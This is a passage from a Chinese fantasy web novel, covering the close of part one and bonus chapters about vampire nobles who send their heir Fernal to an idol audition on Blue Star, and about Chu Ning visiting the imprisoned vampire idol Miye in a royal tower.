随着纱料的下坠,一条栩栩如生的赤金龙缓缓浮现,龙头在肩膀,龙身和龙尾在背脊,耀眼的金光照亮了半壁暗室。这个图腾,银星上的各族无人不知,无人不晓。 “真龙天印……”弗纳尔看着楚凝背上那方威严的印案,惊滞许久,颤着声音问: “阿凝姐姐你……是皇室的人?!” (第一部完) 22. 番外1:关于世子殿下(1) 两个月前。 位于银星最西方的伊丽莎白家族城堡内,一群权贵者坐在议事厅里,正商量着一件至关重要的事宜。 “近日我们派到德古拉家族的间谍传来消息,那边的人似乎在暗地进行军事的演练,对于这件事情,你们有什么想法吗?” 说话的是一位穿着华贵气态威然的男子,他坐在议事桌的主位,凛然的眼神扫视着众人,带着不寒而栗的气息。赤红的眼眸里潜藏着家族的印记,昭显着最为尊贵的血统。 气氛是压抑的,在座的众人都是地位不凡之辈,但面对他的提问,也都没有立即地回答。 过了一会儿,其中一位年长的吸血鬼默默开口: “公爵大人,我觉得这件事无需再有任何的怀疑。德古拉家族自古以来和我们水火不容,对立这么多年,但凡他们在军事上有任何的风吹草动,必然是针对我们来的,我们应该提前做好防御准备。” 他说完以后看了一眼不置可否的公爵,知道他顾虑着什么,又以开导般的口吻继续说: “诚然,我知道现在是两星交战后的恢复期,两星的民众都渴望着长久的和平,也希望休养生息,但如果不早做准备,以防万一的话,一旦德古拉家族的军队违反了战后的协定,对我们动起了真格,那时的后果就不堪设想了。” 他这话说完,默默的地扫视着在场的其他成员,现场响起了窸窸窣窣的交头接耳的话音,一些人赞同着他的决定,而另一些人则不停地摇头,和旁边的成员悄悄发表着自己的看法。 过了一会儿,其中一位浅金发色,相貌温柔,坐在议事桌客位的子爵犹豫着开口: “公爵大人,我认为这个事情我们还是应该慎重考虑一些,至少……至少还是得再行确认对方此次演练的行动真的是为了攻击我们家族而来,再将领地转入战前准备的状态,这样也更容易获得子民的支持。” “不然光是军资所要求的征税便足以激起底层子民的愤怒,影响伊丽莎白领地民众之间的团结……当然,也更不用说长期饱受战争之苦的子民们与族亲再次分离所引发的怒怨,我想就算到时召集好军队,也一定是人心分离,打不好这场战争的。” 众人听了他的话,也觉得有些道理,但这么一来,这军队召集不成,不召集也不成,这场仗备也不是,不备也不是,大家一时间也不知道该怎么办才好。 公爵沉默了一会儿,似乎对那位子爵的话深有感触。大概是他的话说到了他的痛处,引起了他对战时的某些不好回忆,他卸下了一开始如雪山似的威严,和大家说:“要我看还是再观望一会儿吧,对这件事,也请各位不要走漏了风声,以免引起领地居民的恐慌。” 可先前的那位长者又说: “公爵大人还是太优柔寡断了些,如果敌人真有入侵的打算,瞒又能瞒得了多久呢?不过是自欺欺人的行径罢了。我觉得我们还是应该发布公告告知民众,募集兵士,早点做好战争的准备。” 大家又纷纷议论起来。这时,另一位伯爵站了出来,对大家说: “诸位不必这么慌张,现在早已不是那个伊丽莎白家族和德古拉家族单纯对立的时代了,蓝星和银星大战的时候我们不是已经和人族签订了结盟的协议吗?如果遇到困难,请他们帮忙也不是不可以啊。尽管这样的拜托难免有些屈尊,但既然他们是在银星执政的一方,关键的时候为我们出一些力不也是理所应当的吗?” 他这一番话获得了大多成员的认可,也让伊丽莎白公爵稍稍安心下来。 “这样说来,如果到时德古拉家族真的对我们另有举动,也只有做好请人族帮忙的打算了,因为缔结过誓约,他们应该也不会拒绝。” 有几个成员固守于高贵的血统,对公爵和那位伯爵说的话表示不满,但公爵又说: “我理解你们的愤怨,老实说,我也不喜欢和人族接触,但事实摆在眼前,我们应该看清现状,固执己见是一种盲目的愚蠢,敌我不分只会自掘坟墓。” 听他这么说了,那几位成员也都安静下来,不再有异议。 公爵说完以后,很快结束了关于敌方这场军事演练目标的议题。他思考了片刻,又和大家谈起了另一件他所疑惑的怪事: “其实关于这场军事演习,我所关注的并不是德古拉家族召集军队的目标是谁,而是他们为什么可以在大战之后能这么迅速地做好军事资源上的整合。这是连我们家族和人族皇室这些战争的胜者都无法做到的,他们是怎么做到的呢?我想比起在己方拥有联盟势力的前提下考虑被攻击的问题,优先弄清楚对方有什么稳定领地居民生息并使军队积极运转的方法更加重要。” 这时,之前那位面相温柔的子爵又开口了: “公爵大人,这其中的原因,我想我是知道一点的。” “不知道您还记不记得在蓝银两星大战之前发生的那场血族和人族之间的冲突?”他回忆道,“那场冲突,虽然我们伊丽莎白家族没有参与,但边境之处也受到了一些波及,因此我以前特地派人去做过一些打听。” “探查情报的人告诉我,那时领导血族进行作战的将领是德古拉公爵最为器重的长子德古拉.弥夜。这个人的身份有些特殊,虽然是血族,却一直在蓝星做明星,而且拥趸众多,几乎快超过当年在全星际都非常出名的人族偶像雀灯。” “哦?”伊丽莎白公爵疑惑道,“原来还有这种事。这个孩子在蓝星做偶像的事情我是知道的,毕竟这也是之前德古拉氏常常拿来和我们炫耀的资本,可这又和这次的军事演习有什么关系呢?” “德古拉.弥夜之前利用自己明星的身份,暗中从事军政以及宗教的活动,把他在蓝星和银星上的许多对他态度狂热的粉丝都转化成了支持他进行军政活动的资源。这其中的大多数人不是提供了大量的经济支撑和政治支持,就是拿自己的性命做赌加入了弥夜的军队,还有一些则是暗中宣传他的理论并制造了庞大的利益关系网链……后来在血族与人族的战争里,这股力量成为了对人族而言非常棘手的麻烦,几乎让人族的军队全线溃败……” 在场的人听这位子爵讲着这场战争,内心对德古拉家族的那位殿下都多了份不容小觑的忌惮。 “后来人族的皇室借了神族的力量,付出了不小的代价,终于将以德古拉氏为领导的血族打败,而德古拉.弥夜在被捕以后也被关在了人族皇室最高刑级的监狱里,被判处终身监禁。” “但之前与他密切相关的那些拥护者们,死的死,伤的伤,逃散的逃散,隐藏的隐藏,几乎全掩去了行踪。于是知道这些内幕的人都隐约地察觉到,这件事情恐怕不会就这么简单地结束……” “所以说这次军演很有可能和他有关……参加或操纵军演的人也很有可能和当初的那些拥护者有关……”公爵默默地说,“真没想到,这么一位表面光鲜的明星,背地里可以做出如此幽暗的谋划,如果他当初的目标是伊丽莎白家……” “那他现在的目标难道不可能是伊丽莎白家吗?”那位之前沉默了一时的长者说。 公爵明白他的隐忧和顾虑,的确,他自己内心也有着同样的忧患。 那位子爵在这时却说:“其实有一个妥当的方法是可以缓解我们内心的担忧的,也可以相对和缓地调节目前紧张的局势。” “那就是公爵大人之前所决定的在必要时拜托人族协防的计划不变,但同时我们也可以效仿德古拉氏,也培养一位这样的明星出来。当然我们的目的并不是为了进行战争,而是出于自卫,给伊丽莎白氏一个保底的暗牌。” 公爵思量了片刻,点点头,赞同他的说法。其他血族皇室的成员们也觉得培养这样一位在星际有公众影响力并且有话语权的明星是当下缓和家族内部惶惶人心的最妥帖方式。 “我听说蓝星有一家专门培养明星的公司目前正在组建一个男子偶像团体,他们的老板已经往整个星际发出了邀请函,专门招募非人族的青少年进行培养,我想我们也可以借这个机会推选一位血族的成员去参加选拔,”子爵说,“只是这个名额非常有限,好像只有四个,所以我们可能得抓紧时间了。” 公爵听完,看向在座的众人,征询道:“诸位之中有没有谁想要替自己的族亲争取这个名额的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 在场的成员面面相觑一番,脸上显露出为难的神色。这些成员里,有将近一半的成员子嗣都是女性,还有一些虽然后代是男性,但按年龄来看,最年轻的子嗣也都过了人族青少年的那个年纪,最小的一位也按三位数往上算了。还有一些成员则是没来参会,一时半会儿也不方便讨论他们的后嗣。大家交头接耳地谈论了一会儿,不知怎么的,最终都很统一地把目光放到了公爵大人的身上。 公爵一脸懵地盯着众人,抬手默默地指了指自己,不确定地问:“啊……我么?”他内心想到他几百岁的年龄应该是不太符合参加那个选拔的条件的,不由得有点摸不着头脑。 子爵在一旁看着他镇定中饱含错愕的表情,不由得捂嘴笑了: “公爵大人他们不是想说你啦,”他一边笑一边说,“他们是想说您的那两位小殿下……” 公爵这才反应过来,自家就有两个符合年龄要求的孩子。尽管内心非常的不舍,但因为符合要求的皇室成员实在太少了,而他又的确应该以身作则优先考虑到各成员们的想法,所以也只能退一步地说: “我会好好劝导他们两个的……” 他说完,伤神地扶着额头,看起来像一棵在冷秋里掉光了叶子的枯树。 在场的人都看出了他这个老父亲不舍孩子的心思,于是提出从两位殿下当中只选择一位送往蓝星进行选拔,另一位留在他身边的提议。 “那诸位觉得这两个孩子……选哪一个送往蓝星好呢?” 这个问题引起了在座的成员们激烈的讨论。公爵大人的两个孩子相差不过一岁,但性格却有着天壤之别。大世子弗维尔温柔恬静,乖巧懂事,只是体格较弱,容易生病;小世子弗纳尔热情活泼,骄傲天真,只是任性淘气,容易闯祸。 众成员讨论了许久,最终还是认为大世子更适合去蓝星。 公爵大人听了他们的建议,忍痛点头,说等会儿散会之后再去和自己的大世子商量。议事的众人又讨论了一些和领地有关的细小事宜,商议妥当之后才散了会。 公爵目送众成员先行离开,自己独自坐在主位上叹了好一会儿气,才起身往自己和两个孩子起居的城堡走。他刚走出议事厅的大门,便被迎面向他跑过来的小儿子给撞到了。 “父亲大人!”少年挽过他的手臂,浅粉的瞳眸里满是兴奋的神采,“父亲大人快看我抓到了什么!”他的背后漂浮着一个用魔法编织成的发光的小笼,幻彩的笼子里装着三只绯红的蜻蜓。 “是蜻蜓,是百科书里面的红蜻蜓!父亲大人您看,它们比书上的还要漂亮!”少年把笼子提到父亲面前晃悠,“一只给父亲大人,一只给哥哥,还有一只给我……要是……要是母亲今年会回来的话,就把我的那只给她!”他欢欢喜喜地做着自己的规划,全然没有注意到身边的父亲神色有些消沉。 公爵盯着那个小笼看了好半天,脸上浮现出慈爱的表情,轻声地问:“弗纳尔,弗维尔他还在自己的房间吗?” “我出去玩的时候,哥哥还在自己的房间睡觉呢,”弗纳尔说,“不知道为什么,最近总感觉他比以前疲惫,睡的时间也更久些了,父亲大人,您为什么突然问起这个来了?” “嗯,没什么……弗纳尔,你帮我先去找下弗维尔,告诉他我一会儿处理完公务就过去找他,有件事情要和他谈谈……” 弗纳尔听了公爵的话,飞快地答应下来,扭头就带着笼子跑开了。 他本以为自己的兄长还在房间睡着,却没想到打开他的门发现房间里并没有他的身影。 少年跑到窗边,手攀着窗框向远处眺望,远远地看见了一个雪白的身影。 那是他的兄长。一头月白的银丝使得弗维尔在整个家族里都是最为特别的存在。 弗纳尔把装蜻蜓的笼子随意扔到了兄长的床头,一溜烟跑出去了。所幸兄长并没有走得太远,他加快脚步,也追了个七七八八,眼看就要追到了,他却刻意放慢了脚步,默默地跟在后面。 依他对自己兄长乖巧的性格来说,此时对方在这个时候外出必然存在着特殊的情况。 23. 番外2:关于世子殿下(2)^…… 弗维尔手上提着一个竹篮子,篮子里放了些东西,被一块布巾遮住了,看不太清楚。他并没有发现自己的弟弟就跟在后面,依旧往前走着,过了一会儿,他来到了妖族与血族生活的交界地。 这时妖族的地界里走来几个半人半兽凶神恶煞的青年,似乎是当地的地痞,他们拦住了弗维尔的去路,看样子对他篮子里放的东西很感兴趣。 他们一边问着篮子里放的什么,一边自作主张地掀开了布巾,同时用不怀好意的眼神打量着面前这位长相秀美,柔弱可欺的血族。 “里面只放了些水果,”弗维尔的脸色很是不安,“是给你们妖神大人的礼物。”他抿着嘴唇往后退了几步,希望回到血族交界线的范围内。 篮子里的确只放了各式各样的水果,草莓、葡萄、橙子、柠檬……这些水果都是妖族境地里没有的东西,每一个看上去都经过了相当精心的挑选,也经过了相当精致的摆放。 “这个果篮看起来很美味,”其中一个妖民舔了舔嘴唇,伸手就去握篮子的提把,“你给我们吧,我们帮你转交给妖神大人。” “不行,”弗维尔握紧手中的篮把,摇头道,“这个我要亲自给她的。” “亲自给她?”其中一个妖民嗤笑一声,呵呵道,“这你怕是做不到了。”他瞄了眼篮子,意图非常明显,“我们需要过路费。” “不可以!”弗维尔着急地喊。 那妖民嚣张地威胁:“那这样的话,我们只能禀报身后那群守卫交界线的士兵们,跟他们说有血族的人擅闯我们妖族的领地,让他们协助我们把你抓起来了。” 他说完,又恶意地猜测: “其实你应该也不认识妖神大人吧,说献给她礼物也不过是想要进入我们领地的一种借口罢了。妖神大人平时居住在中央神地,怎么可能出现在我们东之森林呢?你这愚蠢的血族连撒谎都不会撒!” 他和其他几个妖民一起使力,在弗维尔的挣扎里很轻易地抢过了那个果篮。 弗维尔被他们推倒在地,雪白的衣服上沾满了尘渍,果篮里的水果也洒出来,滚了一地。 一直悄悄跟在后头的弗纳尔看见自己的兄长受到了欺负,顾不上隐藏行踪,跑到弗维尔面前把他扶了起来。 他愤怒地冲到了前面,指着那几个地痞大声呵斥:“你们这几个小小的妖民,居然敢对血族的皇室不敬,我要替父亲大人好好地惩罚你们!”他说完便念动一串咒语,想要召唤出魔力强大的法阵将那几只妖民困在里面,却忘记自己也已经出了血族的境地,魔力十分微弱,所以法阵的力量也微乎其微。 那几个妖民本来有些忌惮,但见他魔力失效,使不出术法,便不再害怕。他们叫嚣着说要给这两兄弟一点教训,先揍他们一顿,然后再把他们抓去军营,说成是血族派来的间谍,好领一点酬金。 他们把两个人架起来,正要出拳,却听不远处传来一声阴沉的命令: “把人放了。” 同时,浩浩烟尘排山倒海般向前涤荡,但见一尾形体庞然,浑身燃着赤焰的金蟒伏行而来,几瓣蛇鳞毒针似的发射而出,猛地击中那几人的腰腹。 刹那间,几个人倒在地上,痛苦哀嚎。等看清袭击他们的是几片蛇麟以后,他们的表情一下子惊惶起来,什么也没说,赶紧逃走了。 金蟒用蛇尾卷住了即将栽在地上的弗维尔,小心地护着。没有受到照顾的弗纳尔则硬挺挺地摔到了地上,跌了个大屁股墩儿。 弗纳尔哎哟一声,一脸幽怨地从地上爬起来,指着金蟒说:“这条臭大蛇怎么区别对待!” 金蟒听到他这么说,收起了自己的真身,化作了一个美丽而张扬的少女。她叉着腰,愤愤地反击:“你说谁是臭大蛇,我可是——” “是这里的守卫。”弗维尔默默打断了她的话,朝她递去一个眼神,又对自己的弟弟说,“她是我的朋友。” 少女听到他说“朋友”两个字,表情有点受挫。她抓住弗维尔的手,默默地搓捏,又拿只有弗维尔听得到的声音不满地嘀咕:“不是朋友……不是朋友……才不是朋友……” 弗纳尔并没有怀疑对方的身份,心里想着一个妖族的守卫竟然也有着这样强悍的力量,想来他们妖族整体的实力也是不容小觑的,不免对她多了一点敬畏。 少女打量他半晌,转过身问弗维尔:“他就是你的弟弟吗?”看着对方点头,他又围着弗纳尔转了半天,默默地评价:“感觉一点也不像啊。” 弗纳尔炸毛说:“要你管啊。”他又问自己的哥哥为什么要到这里来,见弗维尔沉默着,又接着说,“我刚刚好像听到那几个坏蛋跟你说什么妖神,哥哥你这次过来是跟他有什么关系吗?” 弗维尔却说他听错了,解释说自己过来就是跟身边的这位老朋友叙旧的。 单纯的弗纳尔没起疑心,心里反而好奇起这两个人是怎么变成朋友的。他想知道他们相遇的故事,却又想起公爵让他传达的话,于是只好暂且压下心中的好奇,催促着自己的兄长赶快回去。 “父亲大人好像有什么重要的事情要通知你,你还是改天再过来吧。” 弗维尔听他这么说,和旁边神色不满的少女对视了一眼,唇边勾起了一个无奈的笑容。他让弗纳尔先回去,说自己马上就会赶过来。 弗纳尔又催促了他几句,自己先离开了。 在他走后,身边的少女对着他的背影愤愤嘀咕:“切,碍事的电灯泡。” 弗维尔哭笑不得地说:“你不要这样说我的弟弟呀……他很可爱的。”他一面说着,一面拾起落在地上的果篮,将散在草地上的橙子和柠檬一个一个地捡起来。 少女点了点头,一边帮他捡水果,一边说:“哪有你可爱呢……”她似乎想到了什么,宠溺的神情忽然沮丧起来,“刚刚老婆大人竟然管我叫做‘朋友’,我这一颗蛇心都快碎掉了……” 弗维尔神色一赧,红着脸数算捡回来的橙子和柠檬。地上的草莓和葡萄已经不能要了,他见橙子和柠檬的数量齐了,就把篮筐递到少女手边。 “这么计较干什么……”他羞涩道,“反正……反正我总会跟你走的……” 少女嘿嘿一笑,身后的蛇尾现了形,一把卷住少年的腰肢,把他拉到自己怀里: “好啦好啦我不计较啦,你说什么就是什么……”她将脑袋靠在他的肩头,眷恋地磨蹭着。弗维尔的颈侧有两斑被蛇吮过的牙印,少女啄吻着那块惹人怜爱的肌肤,轻声地呢喃:“弗维尔,谢谢你……谢谢你在你的家族和我之间选择了我。” “再过几天,等我熬过了这一次的天罚,就有能力挣脱天神的禁锢了……” “到时候我们就离开这里,到我们所向往的地方去,建造一个只属于我们的新的国度……” …… 那天下午,弗纳尔很清楚地记得,在兄长回来以后,父亲和他吵了一架。他不知道原因,但他知道父亲从来没有这么生气过。 一定是发生了什么大事。他想。 这场架吵了很久,从夕阳西下的黄昏直到暮色降临的夜晚,最终以公爵大人摔门而出作为终结。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >房间里传来兄长低声的呜咽。弗纳尔推开门走进去,看见哥哥跌在地上,伏在床边哭泣。他走了过去,也伏在床头,看他的哥哥。 他问他发生了什么事。 弗维尔只是哭,并不说话。 弗纳尔见他那么伤心,断定他受了天大的委屈,由此对自己的父亲产生了极大的不满。 “哥哥别怕,我来帮哥哥出气,”他愤愤不平地说,“我们去厨房拿一筐大蒜,趁父亲不注意倒进他每天都要烤火的壁炉里!”他说完这句话,极有斗志地往门外走,却被自己兄长给拉住了。 弗维尔满脸的泪痕,可怜兮兮地盯着他,试探地问: “弗纳尔……想要当明星吗?” “明星?”弗纳尔的眼神亮了起来,“是那种可以演很多很多的戏剧,每天都被很多人追着,每天都可以听到很多人的表白,每天都会被星际的媒体夸夸夸的明星吗?” 弗维尔点了点头,看向他的眼神里多了分慌乱的狡黠。 “我要去!”弗纳尔握拳道,“我要当明星!” 弗维尔接着说: “父亲大人说,家族王室的成员们想要推选出一位血族去参加蓝星某个娱乐公司举办的偶像团体选拔,我觉得你是最合适不过的人选,所以便向父亲提议让你去参加。” “可是那群王室的成员们都不看好你,觉得你没有能力在这样的选拔中脱颖而出,去了也只会给王室的成员丢脸。父亲大人和凯切尔叔叔他们驳回了我的提议,我气不过,就和父亲大人理论,最后我们大吵了一架……弗纳尔,我还是没能为你争取到这个机会……真的很抱歉……” 弗纳尔听了,皱眉道:“他们真的这样说?”他的脸上浮现出一点疑惑,“可是凯切尔叔叔他们平时不这样说的,他们都夸我很聪明,是有天赋的孩子,他们说他们很喜欢我的……” 弗维尔微咳一声嗽,在心底对自己忽悠弟弟的行为感到抱歉,但嘴上依旧忽悠:“那是他们骗你的,你知道的,大人总喜欢说谎,还总喜欢自以为是地认定某些事情,或者为谁做下根本不适合的决定……”由于他长得太人畜无害了,所以很难让人不信任他。 弗纳尔瘪瘪嘴,大声说:“那我讨厌他们了!我再也不要理他们了!我也讨厌父亲大人了,他居然不相信我的实力,还让哥哥哭得这么伤心!” 弗维尔偷瞄他一眼,默默地补充:“而且他们还拿你跟德古拉家那位曾经红极一时的大偶像德古拉.弥夜做比较,认定他是你无论怎样努力也无法超越的存在……真是太过分了,弗纳尔你一定要狠狠地向他们证明,他们说的都是错的……” 他那张泪痕阑珊的脸上忽然绽出一个美好而坚定的笑来:“毕竟在哥哥心里,弗纳尔永远是世界上最聪明、最可爱、最勇敢的弟弟。”这倒并不是为了哄骗他而编造的谎言,这是他内心极为真实的想法。 弗纳尔听了他的话,内心受到了莫大的鼓舞,最终拍拍胸脯向他保证:“我要去找父亲,我要请求他给我这个去蓝星的机会,我要做大明星,我要为伊丽莎白一族争光,我要让凯切尔叔叔他们和德古拉家的那些人知道,德古拉弥夜已经是过去式了,未来是属于我伊丽莎白.弗纳尔的!” 他说完,把自己的哥哥扶起来,抱了抱他,一脸雄心壮志地走出去了…… 没过多久,这位伊丽莎白.弗纳尔世子殿下便坐着独家的特快飞船,背着一口极其华丽的大棺材,来到了蓝星A国的某社门口,开启了和自己想象中不太一样的练习生生涯了。 (弗纳尔番外完) 24. 番外3:关于楚凝(1) 一个月前。 为人外们报名了天星101企划的楚凝在他们正式进入基地接受训练前给他们放了三天假,嘱咐他们调整自己的状态,做好接受三个月地狱式修炼的准备。而她也趁这个时机回了趟银星。 银星和蓝星一样,有二十四个国家,除了个别特殊的情况,每个国家的执政党都是人族。A国在这二十四个国家中实力最强,A国的人族皇室在所有国家的人族皇室里威望也是最高的。 其实本来也没什么了不起的,但对楚凝来说,好处就是她可以凭着最高级别的勋章免费搭乘最早一班的特快飞船飞回银星,并且不会被通报给皇室的其他成员知道——皇室的人在长久的外出之后如果回归,按规章和礼节来说必须参加整个皇室为其举办的洗尘之宴,还要在宴会上向全体成员做类似“述职”的报告。 楚凝讨厌这样大费周章的活动和形而上学的传统,所以往往能偷偷溜回就绝不会光明正大地回来。 此时已经傍晚,守卫皇宫的士兵不知换了几轮,但每一轮里总有那么一个认得她——其实也不是认得她,而是认得她那块特殊的令牌。 令牌上刻着“晏楚”二字,是整个皇族的姓氏。所以楚凝其实并不姓楚,这不过是她的化名。令牌上围绕着姓氏镶嵌了十九颗宝石,但已经被撬掉了七颗。 楚凝把令牌递给士兵,那士兵拿出别在腰间的短刀,撬掉第八颗,把宝石放进了自己的军装上衣的口袋里。他笑着问:“十九公主还是不想让陛下知道您回来了吗?” “得了吧,”楚凝收回令牌,哭笑不得地说,“我可不想站在宴会中间做那又臭又长的报告。” 那士兵也笑了笑,转而悄悄地问:“这次回来还是只去那里吗?” 楚凝点了点头。 那士兵便从肩膀的口袋里拿出一张十分小巧的通行证,默默递给了她。 楚凝接了过去,低声地道谢。 那士兵摆摆手,又提醒道:“老规矩,不要待太久。” “我知道的。”楚凝说完,悄悄进入了皇宫。她怀着一点进自己家却好似做贼的忐忑,凭着再熟悉不过的记忆避开主殿、副殿以及各处人烟热闹的花园,一路深入,最终到达了这次回归她唯一要到的目的地。那处最高刑级的皇室监狱。 高高的尖塔耸立在整座宫殿最西边的一角,角落之外是一望无边的旷野。禁锢与自由在此处分界。 凭借着那张通行证,楚凝进入了监狱,沿着旋转的石阶拾级而上。踏过一层又一层于昏暗间蹿动的哀嚎,避开一双又一双于怨愤间猩红的泪眼,最高层的那间牢房一片死寂。 但楚凝知道,那个人还在。 月光从塔尖的窗隙洒进来,洒到牢房,洒上那人的周身。他被绑在十字架上,低垂着头颅,像一蕊凄艳的花。 似乎是感应到越来越近的脚步声,那颗本来一动不动的头微微抬过,静谧的屋内响起一声轻柔的冷笑。 “你来了,阿凝姐姐。”仿佛早有预料般的,他说,“我等你很久。” 楚凝看着对方,眼眸中藏着深刻的恨。可那袭染满尘埃的金色秀发、饱浸血渍的粗素囚衣、青紫遍布的寡白皮肤又让她生出些微的迷茫,让她不知道自己到底该欣喜还是难过。 “好久不见,弥夜。”她只好这样说。 少年再一次抬头,深红的双眼直视着她,仿佛在透过她的表里去探查她的灵魂。 “所以,我最亲爱的经纪人,您这次又要为我带来什么‘好’消息?” 楚凝皱了皱眉,厌恶道:“你不要再用这个称谓来称呼我……这是对我最大的侮辱。” 少年轻轻地哼过一声,露出一个极浅的笑来。那笑好像生了病,叫他显得诡谲。 “我来是为了告诉你,我要寻求的天使心脏已经有了着落。”楚凝凛声道: “等我用它复活了神泪,他会替我,替他自己,替死去的各族子民,替曾经饱受你和你的军队所蹂/躏的这个世界做出最公正的审判。” 少年闻言,神情并没有太大的变化,仍旧不说话,仍旧盯着她看。那幽深的眼神比浅 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 淡的笑容更加挑衅。 “审判我?”他缓缓地开口,神情染上几分轻佻,“我希望他真的有这个资格。” “否则也不过是再给我一次品尝他心脏的机会罢了……”像是要刻意激怒面前的人一样,他舔了舔自己的嘴唇,讥笑道:“阿凝姐姐……天知道那味道有多美妙……” “住口!”楚凝难忍悲愤,满腔的恨意汹涌起来。 “德古拉.弥夜,你这个怪物……一个没有任何感情的怪物……” “我永远不会原谅你对神泪造下的罪孽,他曾经……曾经那么信任你,把你当成最好的朋友……他那样小心地守护着你们之间的友谊,你怎么下得去手……你怎么……下得去手……” “友谊……”少年冷冷地笑了,“我不稀罕……”他看着牢房外浑身发颤的人,玫瑰色的瞳眸里浸着化不开的嫉恨。 “他拥有你全部的爱,自然肯施舍给我一点友谊……如果是我,如果那个人是我……”他那张苍白的脸颊显露出一点狂痴,“如果我们交换了位置,我也会……像他那么乖巧,那么肯听你的话的,我也会,心甘情愿和他做朋友的……”他笑得很轻浮,也很难过。 “你真的是疯了……” 事已至此,楚凝也没什么话再和他好说,她来这个监狱的目的,一是为了告诉少年有关天使心脏的讯息,二来也是为了查看监狱对他的关押情况,以免出现让少年逃走的漏洞而酿成大祸。 临走之前,少年叫住她,故作轻淡地问了一个问题: “如果我接受审判,你会难过吗?你会像那一天为神泪痛哭那样,为我……哭吗?” 月亮藏到了云层后面,月光没有了。寒寂的夜里,楚凝的回答像一场雪。 “绝不。” “我绝对不会为你流一滴眼泪。” 脚步声越来越远。高塔的尖顶恢复了死寂。 可忽然地,那死寂之中燃起一声讥诮的嬉笑: “那我又凭什么要……接受审判呢?” (楚凝番外完)